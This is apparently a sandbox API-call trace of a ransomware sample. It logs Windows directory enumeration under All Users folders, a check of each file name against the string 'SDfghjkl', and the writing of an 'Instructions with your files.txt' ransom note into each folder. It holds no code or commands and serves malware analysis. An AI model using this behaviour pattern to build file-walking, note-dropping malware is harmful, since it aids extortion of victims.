[0131.753] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafc343c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.753] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\Instructions with your files.txt") returned 69
[0131.753] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.753] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafc343c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.753] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\Instructions with your files.txt") returned 69
[0131.753] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\adobe\\acrobat\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.753] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.754] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.754] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.754] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.754] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.754] CloseHandle (hObject=0x110) returned 1
[0131.754] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.754] GetProcessHeap () returned 0x810000
[0131.754] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.755] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc5a520, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc5a520, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1
[0131.755] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM") returned 32
[0131.755] GetProcessHeap () returned 0x810000
[0131.755] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.755] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\*") returned 34
[0131.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc5a520, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc5a520, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.755] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\.") returned 34
[0131.755] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc5a520, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc5a520, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.755] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\..") returned 35
[0131.755] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafc5a520, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xafc5a520, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc5a520, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.755] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Instructions with your files.txt") returned 65
[0131.755] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.755] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 1
[0131.755] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0") returned 46
[0131.755] GetProcessHeap () returned 0x810000
[0131.755] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.755] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*") returned 48
[0131.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.755] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\.") returned 48
[0131.755] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.755] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\..") returned 49
[0131.755] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e186d00, ftCreationTime.dwHighDateTime=0x1cfb543, ftLastAccessTime.dwLowDateTime=0x7e186d00, ftLastAccessTime.dwHighDateTime=0x1cfb543, ftLastWriteTime.dwLowDateTime=0x7e186d00, ftLastWriteTime.dwHighDateTime=0x1cfb543, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrSecUpd10111.msp", cAlternateFileName="ADBERD~2.MSP")) returned 1
[0131.755] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 69
[0131.755] StrStrIW (lpFirst="AdbeRdrSecUpd10111.msp", lpSrch="SDfghjkl") returned 0x0
[0131.755] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4450880, ftCreationTime.dwHighDateTime=0x1cf6c45, ftLastAccessTime.dwLowDateTime=0xb4450880, ftLastAccessTime.dwHighDateTime=0x1cf6c45, ftLastWriteTime.dwLowDateTime=0xb4450880, ftLastWriteTime.dwHighDateTime=0x1cf6c45, nFileSizeHigh=0x0, nFileSizeLow=0x10e3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10110_MUI.msp", cAlternateFileName="ADBERD~1.MSP")) returned 1
[0131.755] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned 70
[0131.755] StrStrIW (lpFirst="AdbeRdrUpd10110_MUI.msp", lpSrch="SDfghjkl") returned 0x0
[0131.756] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2540cc00, ftCreationTime.dwHighDateTime=0x1d1056e, ftLastAccessTime.dwLowDateTime=0x2540cc00, ftLastAccessTime.dwHighDateTime=0x1d1056e, ftLastWriteTime.dwLowDateTime=0x2540cc00, ftLastWriteTime.dwHighDateTime=0x1d1056e, nFileSizeHigh=0x0, nFileSizeLow=0x109d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10116_MUI.msp", cAlternateFileName="ADBERD~3.MSP")) returned 1
[0131.756] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned 70
[0131.756] StrStrIW (lpFirst="AdbeRdrUpd10116_MUI.msp", lpSrch="SDfghjkl") returned 0x0
[0131.756] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafc343c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.756] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Instructions with your files.txt") returned 79
[0131.756] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.756] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafc343c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.756] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Instructions with your files.txt") returned 79
[0131.756] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.756] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.757] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.757] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.757] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.757] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.757] CloseHandle (hObject=0x114) returned 1
[0131.757] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.757] GetProcessHeap () returned 0x810000
[0131.757] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.757] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 0
[0131.757] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Instructions with your files.txt") returned 65
[0131.757] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\adobe\\arm\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.758] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.758] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.758] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.759] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.759] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.759] CloseHandle (hObject=0x110) returned 1
[0131.759] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.759] GetProcessHeap () returned 0x810000
[0131.759] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.759] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafca67e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xafca67e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafca67e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.759] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Instructions with your files.txt") returned 61
[0131.759] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.759] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafca67e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xafca67e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafca67e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.759] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Instructions with your files.txt") returned 61
[0131.759] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\adobe\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0131.761] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0131.762] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0131.762] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0131.762] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0131.762] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0131.762] CloseHandle (hObject=0x10c) returned 1
[0131.762] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0131.762] GetProcessHeap () returned 0x810000
[0131.762] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.762] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
[0131.762] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Application Data") returned 39
[0131.762] GetProcessHeap () returned 0x810000
[0131.762] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.762] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Application Data\\*") returned 41
[0131.762] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Application Data\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafca67e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xafca67e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafca67e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0131.762] GetProcessHeap () returned 0x810000
[0131.762] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.762] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
[0131.762] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Desktop") returned 30
[0131.763] GetProcessHeap () returned 0x810000
[0131.763] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.763] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Desktop\\*") returned 32
[0131.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Desktop\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafca67e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xafca67e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafca67e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0131.763] GetProcessHeap () returned 0x810000
[0131.763] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.763] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
[0131.763] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Documents") returned 32
